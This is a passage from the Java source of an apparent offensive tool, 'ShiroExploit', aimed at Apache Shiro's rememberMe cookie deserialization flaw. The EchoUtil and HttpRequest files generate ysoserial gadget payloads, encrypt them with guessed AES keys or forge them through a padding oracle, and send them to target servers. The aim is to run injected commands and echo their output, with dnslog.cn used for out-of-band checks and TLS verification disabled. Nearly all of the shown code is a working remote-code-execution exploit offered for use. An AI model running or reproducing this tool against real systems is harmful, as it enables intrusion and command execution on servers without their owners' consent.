setHTTPServicePort(int HTTPServicePort) { 209 | this.HTTPServicePort = HTTPServicePort; 210 | } 211 | 212 | public int getJRMPServicePort() { 213 | return JRMPServicePort; 214 | } 215 | 216 | public void setJRMPServicePort(int JRMPServicePort) { 217 | this.JRMPServicePort = JRMPServicePort; 218 | } 219 | 220 | public String getProxyIP() { 221 | return proxyIP; 222 | } 223 | 224 | public void setProxyIP(String proxyIP) { 225 | this.proxyIP = proxyIP; 226 | } 227 | 228 | public int getProxyPort() { 229 | return proxyPort; 230 | } 231 | 232 | public void setProxyPort(int proxyPort) { 233 | this.proxyPort = proxyPort; 234 | } 235 | 236 | public boolean isProxyEnabled() { 237 | return proxyEnabled; 238 | } 239 | 240 | public void setProxyEnabled(boolean proxyEnabled) { 241 | this.proxyEnabled = proxyEnabled; 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/ConfigReader.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import java.io.*; 4 | import java.util.*; 5 | 6 | public class ConfigReader { 7 | 8 | public static List loadKeys(int flag){ 9 | //Set用于去重,使用 List 作为返回结果的目的是保留 key 从配置文件中读取的顺序 10 | List keys = new ArrayList<>(); 11 | Set sets = new HashSet<>(); 12 | 13 | String path; 14 | if(flag == 0){ 15 | path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "keys.conf"; 16 | }else{ 17 | path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "keys.conf.big"; 18 | } 19 | 20 | try { 21 | FileInputStream inputStream = new FileInputStream(path); 22 | BufferedReader br = new BufferedReader(new InputStreamReader(inputStream)); 23 | String temp = ""; 24 | while((temp = br.readLine()) != null){ 25 | if(sets.add(temp)) keys.add(temp); 26 | } 27 | } catch (FileNotFoundException e) { 28 | //doNothing 29 | } catch (IOException e) { 30 | //doNothing 31 | } 32 | 33 | return keys; 34 | } 35 | 36 | public static String getConfig(String key){ 37 | String path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "config.properties"; 38 | 39 | Properties properties = new Properties(); 40 | FileInputStream in = null; 41 | String value = null; 42 | try { 43 | in = new FileInputStream(path); 44 | properties.load(in); 45 | value = properties.getProperty(key); 46 | in.close(); 47 | } catch (FileNotFoundException e) { 48 | //doNothing 49 | } catch (IOException e) { 50 | //doNothing 51 | } 52 | 53 | return value; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/EchoType.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | public enum EchoType { 4 | LinuxEcho("LinuxEcho"), 5 | WindowsEcho("WindowsEcho"), 6 | SpringEcho1("SpringEcho1"), 7 | SpringEcho2("SpringEcho2"), 8 | TomcatEcho("TomcatEcho"), 9 | TomcatEcho2("TomcatEcho2"), 10 | JBossEcho("JBossEcho"), 11 | WeblogicEcho("WeblogicEcho"), 12 | ResinEcho("ResinEcho"), 13 | JettyEcho("JettyEcho"), 14 | AutoFindRequestEcho("AutoFindRequestEcho"), 15 | WriteFileEcho("WriteFileEcho"); 16 | 17 | 18 | private String name; 19 | private EchoType(String name){ 20 | this.name = name; 21 | } 22 | 23 | public String getName(){ 24 | return this.name; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/EchoUtil.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import com.shiroexploit.core.PaddingOracle; 5 | import java.io.File; 6 | import java.net.MalformedURLException; 7 | import java.net.URL; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Random; 11 | 12 | public class EchoUtil { 13 | private static String staticFilePath; 14 | 15 | public static String getEchoResult(String key, PayloadType payloadType, String cmd, EchoType echoType){ 16 | String result; 17 | 18 | switch (echoType.getName()){ 19 | case "SpringEcho1": 20 | case "SpringEcho2": 21 | case "TomcatEcho": 22 | case "TomcatEcho2": 23 | case "JBossEcho": 24 | case "WeblogicEcho": 25 | case "ResinEcho": 26 | case "JettyEcho": 27 | case "AutoFindRequestEcho": 28 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType); 29 | break; 30 | case "LinuxEcho": 31 | case "WindowsEcho": 32 | result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType); 33 | break; 34 | case "WriteFileEcho": 35 | result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType); 36 | break; 37 | default: 38 | throw new IllegalStateException("Unexpected value: " + echoType.getName()); 39 | } 40 | 41 | return result; 42 | } 43 | 44 | public static List getValidEchoType(String key, PayloadType payloadType){ 45 | List list = new ArrayList<>(); 46 | 47 | List list1 = new ArrayList<>(); 48 | list1.add("SpringEcho1"); 49 | list1.add("SpringEcho2"); 50 | list1.add("TomcatEcho"); 51 | list1.add("TomcatEcho2"); 52 | list1.add("JBossEcho"); 53 | list1.add("WeblogicEcho"); 54 | list1.add("JettyEcho"); 55 | 56 | 57 | for(EchoType echoType : Config.getInstance().getEchoTypes()) { 58 | System.out.println("[*] Trying " + echoType.getName()); 59 | 60 | String flagText = "xxxxxx" + System.currentTimeMillis(); 61 | String cmd = "echo " + flagText; 62 | 63 | String result = null; 64 | if(echoType.getName().equals("AutoFindRequestEcho")){ 65 | writeClass(key, payloadType); 66 | 67 | try { 68 | int max = 0; 69 | if(Config.getInstance().getVulType() == 0){ 70 | max = 5; 71 | }else{ 72 | max = 1; 73 | } 74 | 75 | for(int i = 0; i < max; i++){ 76 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType); 77 | 78 | if(result.contains(flagText)){ 79 | break; 80 | } 81 | 82 | Thread.sleep(1000); 83 | } 84 | } catch (InterruptedException e) { 85 | e.printStackTrace(); 86 | } 87 | 88 | }else if(echoType.getName().equals("WriteFileEcho")){ 89 | initializeStaticFilePath(); 90 | result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType); 91 | }else if(list1.contains(echoType.getName())){ 92 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType); 93 | }else if(echoType.getName().equals("ResinEcho")){ 94 | 95 | int max = 0; 96 | if(Config.getInstance().getVulType() == 0){ 97 | max = 5; 98 | }else{ 99 | max = 1; 100 | } 101 | 102 | for(int i = 0; i < max; i++){ 103 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType); 104 | 105 | if(result.contains(flagText)){ 106 | break; 107 | } 108 | 109 | try { 110 | Thread.sleep(1000); 111 | } catch (InterruptedException e) { 112 | e.printStackTrace(); 113 | } 114 | } 115 | }else if(echoType.getName().equals("WindowsEcho") || echoType.getName().equals("LinuxEcho")){ 116 | 117 | int max = 0; 118 | if(Config.getInstance().getVulType() == 0){ 119 | max = 3; 120 | }else{ 121 | max = 1; 122 | } 123 | 124 | for(int i = 0; i < max; i++){ 125 | result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType); 126 | 127 | if(result.contains(flagText)){ 128 | break; 129 | } 130 | 131 | try { 132 | Thread.sleep(1000); 133 | } catch (InterruptedException e) { 134 | e.printStackTrace(); 135 | } 136 | } 137 | }else{ 138 | throw new IllegalStateException("Unexpected value: " + echoType.getName()); 139 | } 140 | 141 | if(result.contains(flagText)){ 142 | list.add(echoType); 143 | } 144 | } 145 | 146 | return list; 147 | } 148 | 149 | public static String getEchoResultWithGeneralMethodTypeA(String key, PayloadType payloadType, String cmd, EchoType echoType){ 150 | if(RememberMeCache.getInstance().getRememberMe(echoType) == null){ 151 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() 152 | + " directive:" + echoType.getName(); 153 | 154 | 155 | byte[] payload = Tools.exec(command); 156 | 157 | String rememberMe = null; 158 | if(Config.getInstance().getVulType() == 0){ 159 | rememberMe = AesEncrypt.encrypt(key, payload); 160 | }else{ 161 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload); 162 | try { 163 | rememberMe = paddingOracle.encrypt(); 164 | } catch (ExploitFailedException e) { 165 | e.printStackTrace(); 166 | } 167 | } 168 | 169 | RememberMeCache.getInstance().setRememberMe(echoType, rememberMe); 170 | } 171 | 172 | 173 | if(Config.getInstance().getVulType() == 1) 174 | System.out.println("[*] rememberMe=" + RememberMeCache.getInstance().getRememberMe(echoType).trim()); 175 | 176 | 177 | HttpRequestInfo httpRequestInfo = Config.getInstance().getRequestInfo(); 178 | httpRequestInfo.getHeaders().put("cmd", cmd); 179 | String result = HttpRequest.request(httpRequestInfo, RememberMeCache.getInstance().getRememberMe(echoType).trim()); 180 | 181 | if(result != null){ 182 | return result.trim(); 183 | }else{ 184 | return ""; 185 | } 186 | } 187 | 188 | public static String getEchoResultWithGeneralMethodTypeB(String key, PayloadType payloadType, String cmd, EchoType echoType){ 189 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() 190 | + " \"directive:" + echoType.getName() + ":" + cmd + "\""; 191 | byte[] payload = Tools.exec(command); 192 | 193 | String rememberMe = null; 194 | if(Config.getInstance().getVulType() == 0){ 195 | rememberMe = AesEncrypt.encrypt(key, payload); 196 | }else{ 197 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload); 198 | try { 199 | rememberMe = paddingOracle.encrypt(); 200 | } catch (ExploitFailedException e) { 201 | e.printStackTrace(); 202 | } 203 | } 204 | 205 | if(Config.getInstance().getVulType() == 1) 206 | System.out.println("[*] rememberMe=" + rememberMe); 207 | 208 | String result = HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe); 209 | if(result != null){ 210 | return result.trim(); 211 | }else{ 212 | return ""; 213 | } 214 | } 215 | 216 | public static String getEchoResultWithWriteFileMethod(String key, PayloadType payloadType, String cmd, EchoType echoType){ 217 | List paths = Tools.getPaths(staticFilePath); 218 | 219 | for(String p : paths){ 220 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() 221 | + " \"directive:" + echoType.getName() + ":" + p + ":" + cmd + "\""; 222 | byte[] payload = Tools.exec(command); 223 | 224 | String rememberMe = null; 225 | if(Config.getInstance().getVulType() == 0){ 226 | rememberMe = AesEncrypt.encrypt(key, payload); 227 | }else{ 228 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload); 229 | try { 230 | rememberMe = paddingOracle.encrypt(); 231 | } catch (ExploitFailedException e) { 232 | e.printStackTrace(); 233 | } 234 | } 235 | 236 | if(Config.getInstance().getVulType() == 1) 237 | System.out.println("[*] rememberMe=" + rememberMe); 238 | 239 | HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe); 240 | } 241 | 242 | String content = ""; 243 | try{ 244 | Thread.sleep(1500); 245 | content = HttpRequest.getResponse(staticFilePath); 246 | }catch(Exception e){ 247 | //pass 248 | } 249 | 250 | if(content != null){ 251 | System.out.println("[+] You can see the result in:" + staticFilePath); 252 | return content; 253 | }else{ 254 | return ""; 255 | } 256 | } 257 | 258 | private static void writeClass(String key, PayloadType payloadType){ 259 | 260 | for(int i = 0 ; i < 2; i ++){ 261 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() 262 | + " directive:WriteClass:" + i; 263 | 264 | byte[] payload = Tools.exec(command); 265 | 266 | String rememberMe = null; 267 | if(Config.getInstance().getVulType() == 0){ 268 | rememberMe = AesEncrypt.encrypt(key, payload); 269 | }else{ 270 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload); 271 | try { 272 | rememberMe = paddingOracle.encrypt(); 273 | } catch (ExploitFailedException e) { 274 | e.printStackTrace(); 275 | } 276 | } 277 | 278 | HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe); 279 | } 280 | } 281 | 282 | private static void initializeStaticFilePath(){ 283 | URL url = null; 284 | try { 285 | url = new URL(Config.getInstance().getStaticFilePath()); 286 | } catch (MalformedURLException e) { 287 | e.printStackTrace(); 288 | } 289 | 290 | Random random = new Random(); 291 | int rand = random.nextInt(10000); 292 | 293 | if(url.getPath().trim().equals("")){ 294 | EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath() + "/" + rand + ".js"; 295 | }else{ 296 | int index1 = Config.getInstance().getStaticFilePath().lastIndexOf("/"); 297 | int index2 = Config.getInstance().getStaticFilePath().lastIndexOf("\\"); 298 | int index = index1 > index2 ? index1 : index2; 299 | 300 | EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath().substring(0, index) + "/" + rand + ".js"; 301 | } 302 | } 303 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/ExploitFailedException.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | public class ExploitFailedException extends Exception{ 4 | public ExploitFailedException(){} 5 | 6 | public ExploitFailedException(String message){ 7 | super(message); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/HttpRequest.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import javax.net.ssl.*; 4 | import java.io.*; 5 | import java.net.HttpURLConnection; 6 | import java.net.InetSocketAddress; 7 | import java.net.Proxy; 8 | import java.net.URL; 9 | import java.security.KeyManagementException; 10 | import java.security.NoSuchAlgorithmException; 11 | import java.util.HashMap; 12 | import java.util.List; 13 | import java.util.Map; 14 | 15 | public class HttpRequest { 16 | // 这个类的代码虽然很丑陋[shame], 但是确实不想改了,凑合着用吧,毕竟没出啥问题[手动狗头] 17 | 18 | private static Config config = Config.getInstance(); 19 | 20 | static{ 21 | try{ 22 | //设置https 23 | SSLContext sslcontext = SSLContext.getInstance("SSL"); 24 | sslcontext.init(null, new TrustManager[]{new MyX509TrustManager()}, null); 25 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { 26 | public boolean verify(String s, SSLSession sslsession) { 27 | return true; 28 | } 29 | }; 30 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); 31 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); 32 | }catch (NoSuchAlgorithmException e) { 33 | e.printStackTrace(); 34 | } catch (KeyManagementException e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | public static int getDeleteMeCount(HttpRequestInfo httpRequestInfo, String cookieValue){ 40 | int count = 0; 41 | HttpURLConnection connection = null; 42 | try{ 43 | if(config.isProxyEnabled()){ 44 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort())); 45 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy); 46 | }else{ 47 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(); 48 | } 49 | connection.setRequestMethod(httpRequestInfo.getRequestMethod()); 50 | 51 | if(httpRequestInfo.getHeaders().size() == 0){ 52 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 53 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 54 | connection.setRequestProperty("connection", "close"); 55 | }else{ 56 | Map cloneHeaders = new HashMap<>(); 57 | cloneHeaders.putAll(httpRequestInfo.getHeaders()); 58 | 59 | String cookie = cloneHeaders.get("Cookie"); 60 | if(cookie == null){ 61 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 62 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){ 63 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue; 64 | cloneHeaders.put("Cookie", cookie);; 65 | }else{ 66 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1; 67 | int end = cookie.indexOf(";", start); 68 | end = end == -1 ? cookie.length() : end; 69 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end); 70 | cloneHeaders.put("Cookie", cookie); 71 | } 72 | 73 | //添加头部 74 | for(Map.Entry entry :cloneHeaders.entrySet()){ 75 | connection.setRequestProperty(entry.getKey(), entry.getValue()); 76 | } 77 | } 78 | 79 | // 设置POST请求体 80 | String requestBody = httpRequestInfo.getRequestBody(); 81 | if(requestBody != null && !requestBody.trim().equals("")){ 82 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false 83 | connection.setDoOutput(true); 84 | connection.setDoInput(true); 85 | 86 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream()); 87 | printWriter.write(requestBody); 88 | printWriter.flush(); 89 | } 90 | 91 | connection.setConnectTimeout(10000); 92 | connection.setReadTimeout(10000); 93 | connection.connect(); 94 | 95 | Map> map = connection.getHeaderFields(); 96 | for(Map.Entry> entry : map.entrySet()){ 97 | //必须有 98 | if(entry.getKey() == null){ 99 | continue; 100 | } 101 | 102 | if(entry.getKey().equalsIgnoreCase("set-cookie")){ 103 | for(String str : entry.getValue()){ 104 | if(str.contains(config.getRememberMeCookieName() + "=deleteMe")){ 105 | count++; 106 | } 107 | } 108 | 109 | break; 110 | } 111 | } 112 | }catch(Exception e){ 113 | //pass 114 | }finally { 115 | if(connection != null){ 116 | connection.disconnect(); 117 | } 118 | } 119 | 120 | return count; 121 | } 122 | 123 | public static String request(HttpRequestInfo httpRequestInfo, String cookieValue){ 124 | HttpURLConnection connection = null; 125 | InputStream inputStream = null; 126 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 127 | try{ 128 | if(config.isProxyEnabled()){ 129 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort())); 130 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy); 131 | }else{ 132 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(); 133 | } 134 | connection.setRequestMethod(httpRequestInfo.getRequestMethod()); 135 | 136 | if(httpRequestInfo.getHeaders().size() == 0){ 137 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 138 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 139 | connection.setRequestProperty("connection", "close"); 140 | }else{ 141 | Map cloneHeaders = new HashMap<>(); 142 | cloneHeaders.putAll(httpRequestInfo.getHeaders()); 143 | 144 | String cookie = cloneHeaders.get("Cookie"); 145 | if(cookie == null){ 146 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 147 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){ 148 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue; 149 | cloneHeaders.put("Cookie", cookie);; 150 | }else{ 151 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1; 152 | int end = cookie.indexOf(";", start); 153 | end = end == -1 ? cookie.length() : end; 154 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end); 155 | cloneHeaders.put("Cookie", cookie); 156 | } 157 | 158 | //添加头部 159 | for(Map.Entry entry : cloneHeaders.entrySet()){ 160 | connection.setRequestProperty(entry.getKey(), entry.getValue()); 161 | } 162 | connection.setRequestProperty("connection", "close"); 163 | } 164 | 165 | // 设置POST请求体 166 | String requestBody = httpRequestInfo.getRequestBody(); 167 | if(requestBody != null && !requestBody.trim().equals("")){ 168 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false 169 | connection.setDoOutput(true); 170 | connection.setDoInput(true); 171 | 172 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream()); 173 | printWriter.write(requestBody); 174 | printWriter.flush(); 175 | } 176 | 177 | connection.setConnectTimeout(20000); 178 | connection.setReadTimeout(20000); 179 | connection.connect(); 180 | 181 | inputStream = connection.getInputStream(); 182 | if(inputStream.available() > 0){ 183 | byte[] buffer = new byte[inputStream.available()]; 184 | inputStream.read(buffer); 185 | baos.write(buffer, 0, buffer.length); 186 | } 187 | 188 | }catch(Exception e){ 189 | return null; 190 | }finally { 191 | try { 192 | if(connection != null) connection.disconnect(); 193 | if(inputStream != null) inputStream.close(); 194 | if(baos != null) baos.close(); 195 | } catch (IOException e) { 196 | e.printStackTrace(); 197 | } 198 | } 199 | 200 | return baos.toString(); 201 | } 202 | 203 | public static int getRequestDelay(HttpRequestInfo httpRequestInfo, String cookieValue){ 204 | int delay = 0; 205 | long startTime = System.currentTimeMillis(); 206 | 207 | HttpURLConnection connection = null; 208 | try{ 209 | if(config.isProxyEnabled()){ 210 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort())); 211 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy); 212 | }else{ 213 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(); 214 | } 215 | connection.setRequestMethod(httpRequestInfo.getRequestMethod()); 216 | 217 | if(httpRequestInfo.getHeaders().size() == 0){ 218 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 219 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 220 | connection.setRequestProperty("connection", "close"); 221 | }else{ 222 | Map cloneHeaders = new HashMap<>(); 223 | cloneHeaders.putAll(httpRequestInfo.getHeaders()); 224 | 225 | String cookie = cloneHeaders.get("Cookie"); 226 | if(cookie == null){ 227 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue); 228 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){ 229 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue; 230 | cloneHeaders.put("Cookie", cookie);; 231 | }else{ 232 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1; 233 | int end = cookie.indexOf(";", start); 234 | end = end == -1 ? cookie.length() : end; 235 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end); 236 | cloneHeaders.put("Cookie", cookie); 237 | } 238 | 239 | //添加头部 240 | for(Map.Entry entry :cloneHeaders.entrySet()){ 241 | connection.setRequestProperty(entry.getKey(), entry.getValue()); 242 | } 243 | } 244 | 245 | // 设置POST请求体 246 | String requestBody = httpRequestInfo.getRequestBody(); 247 | if(requestBody != null && !requestBody.trim().equals("")){ 248 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false 249 | connection.setDoOutput(true); 250 | connection.setDoInput(true); 251 | 252 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream()); 253 | printWriter.write(requestBody); 254 | printWriter.flush(); 255 | } 256 | 257 | connection.setConnectTimeout(15000); 258 | connection.setReadTimeout(15000); 259 | connection.connect(); 260 | 261 | Map> map = connection.getHeaderFields(); 262 | 263 | long endTime = System.currentTimeMillis(); 264 | delay = (int) ((endTime - startTime) / 1000); 265 | 266 | 267 | }catch(Exception e){ 268 | delay = 0; 269 | }finally { 270 | if(connection != null) connection.disconnect(); 271 | } 272 | 273 | return delay; 274 | } 275 | 276 | public static String getResponse(String url) throws IOException { 277 | HttpURLConnection connection = null; 278 | InputStream inputStream = null; 279 | BufferedReader reader = null; 280 | StringBuffer sb = new StringBuffer(); 281 | 282 | try{ 283 | if(config.isProxyEnabled()){ 284 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort())); 285 | connection = (HttpURLConnection)new URL(url).openConnection(proxy); 286 | }else{ 287 | connection = (HttpURLConnection)new URL(url).openConnection(); 288 | } 289 | 290 | connection.setRequestMethod("GET"); 291 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 292 | connection.setRequestProperty("connection", "close"); 293 | connection.setConnectTimeout(10000); 294 | connection.setReadTimeout(10000); 295 | connection.connect(); 296 | 297 | int responseCode = connection.getResponseCode(); 298 | if(responseCode == HttpURLConnection.HTTP_OK){ 299 | inputStream = connection.getInputStream(); 300 | reader = new BufferedReader(new InputStreamReader(inputStream)); 301 | 302 | String line; 303 | while ((line = reader.readLine()) != null){ 304 | sb.append(line + "\n"); 305 | } 306 | }else{ 307 | return null; 308 | } 309 | }finally { 310 | try { 311 | if(connection != null) connection.disconnect(); 312 | if(inputStream != null) inputStream.close(); 313 | if(reader != null) reader.close(); 314 | } catch (IOException e) { 315 | e.printStackTrace(); 316 | } 317 | } 318 | 319 | return sb.toString(); 320 | } 321 | 322 | public static String getResponse(HttpRequestInfo httpRequestInfo) throws IOException { 323 | HttpURLConnection connection = null; 324 | InputStream inputStream = null; 325 | BufferedReader reader = null; 326 | StringBuffer sb = new StringBuffer(); 327 | 328 | try{ 329 | if(config.isProxyEnabled()){ 330 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort())); 331 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy); 332 | }else{ 333 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(); 334 | } 335 | connection.setRequestMethod(httpRequestInfo.getRequestMethod()); 336 | 337 | //设置Header 338 | if(httpRequestInfo.getHeaders().size() == 0){ 339 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 340 | connection.setRequestProperty("connection", "close"); 341 | }else{ 342 | for(Map.Entry entry : httpRequestInfo.getHeaders().entrySet()){ 343 | connection.setRequestProperty(entry.getKey(), entry.getValue()); 344 | } 345 | } 346 | 347 | 348 | // 设置POST请求体 349 | String requestBody = httpRequestInfo.getRequestBody(); 350 | if(requestBody != null && !requestBody.trim().equals("")){ 351 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false 352 | connection.setDoOutput(true); 353 | connection.setDoInput(true); 354 | 355 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream()); 356 | printWriter.write(requestBody); 357 | printWriter.flush(); 358 | } 359 | 360 | connection.setConnectTimeout(10000); 361 | connection.setReadTimeout(10000); 362 | connection.connect(); 363 | 364 | int responseCode = connection.getResponseCode(); 365 | if(responseCode == HttpURLConnection.HTTP_OK){ 366 | inputStream = connection.getInputStream(); 367 | reader = new BufferedReader(new InputStreamReader(inputStream)); 368 | 369 | String line; 370 | while ((line = reader.readLine()) != null){ 371 | sb.append(line + "\n"); 372 | } 373 | }else{ 374 | return null; 375 | } 376 | }finally { 377 | try { 378 | if(connection != null) connection.disconnect(); 379 | if(inputStream != null) inputStream.close(); 380 | if(reader != null) reader.close(); 381 | } catch (IOException e) { 382 | e.printStackTrace(); 383 | } 384 | } 385 | 386 | return sb.toString(); 387 | } 388 | 389 | 390 | 391 | public static String getDNSLogResult() throws IOException { 392 | HttpURLConnection connection = null; 393 | InputStream inputStream = null; 394 | BufferedReader reader = null; 395 | StringBuffer sb = new StringBuffer(); 396 | 397 | try { 398 | connection = (HttpURLConnection)new URL("http://www.dnslog.cn/getrecords.php").openConnection(); 399 | connection.setRequestMethod("GET"); 400 | connection.setRequestProperty("Cookie", config.getSessionId()); 401 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"); 402 | connection.setRequestProperty("connection", "close"); 403 | connection.setConnectTimeout(10000); 404 | connection.setReadTimeout(10000); 405 | connection.connect(); 406 | 407 | int responseCode = connection.getResponseCode(); 408 | String line; 409 | if (responseCode == 200) { 410 | inputStream = connection.getInputStream(); 411 | reader = new BufferedReader(new InputStreamReader(inputStream)); 412 | 413 | while ((line = reader.readLine()) != null){ 414 | sb.append(line); 415 | } 416 | 417 | } else { 418 | return null; 419 | } 420 | } finally { 421 | try { 422 | if (connection != null) connection.disconnect(); 423 | if (inputStream != null) inputStream.close(); 424 | if (reader != null) reader.close(); 425 | } 426 | catch (IOException e) { 427 | e.printStackTrace(); 428 | } 429 | } 430 | 431 | return sb.toString(); 432 | } 433 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/HttpRequestInfo.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import org.apache.commons.codec.binary.Base64; 4 | import org.apache.commons.codec.binary.Hex; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class HttpRequestInfo { 10 | private String requestMethod; 11 | private String requestURL; 12 | private String rememberMeCookie; 13 | private String requestBody; 14 | private Map headers = new HashMap<>(); 15 | private String original; 16 | 17 | 18 | public String getOriginal() { 19 | return original; 20 | } 21 | 22 | public void setOriginal(String original) { 23 | this.original = original; 24 | } 25 | 26 | public String getRequestMethod() { 27 | return requestMethod; 28 | } 29 | 30 | public void setRequestMethod(String requestMethod) { 31 | this.requestMethod = requestMethod; 32 | } 33 | 34 | public String getRequestURL() { 35 | return requestURL; 36 | } 37 | 38 | public void setRequestURL(String requestURL) { 39 | this.requestURL = requestURL; 40 | } 41 | 42 | public String getRememberMeCookie() { 43 | return rememberMeCookie; 44 | } 45 | 46 | public void setRememberMeCookie(String rememberMeCookie) { 47 | this.rememberMeCookie = rememberMeCookie; 48 | } 49 | 50 | public String getRequestBody() { 51 | return requestBody; 52 | } 53 | 54 | public void setRequestBody(String requestBody) { 55 | this.requestBody = requestBody; 56 | } 57 | 58 | public Map getHeaders() { 59 | return 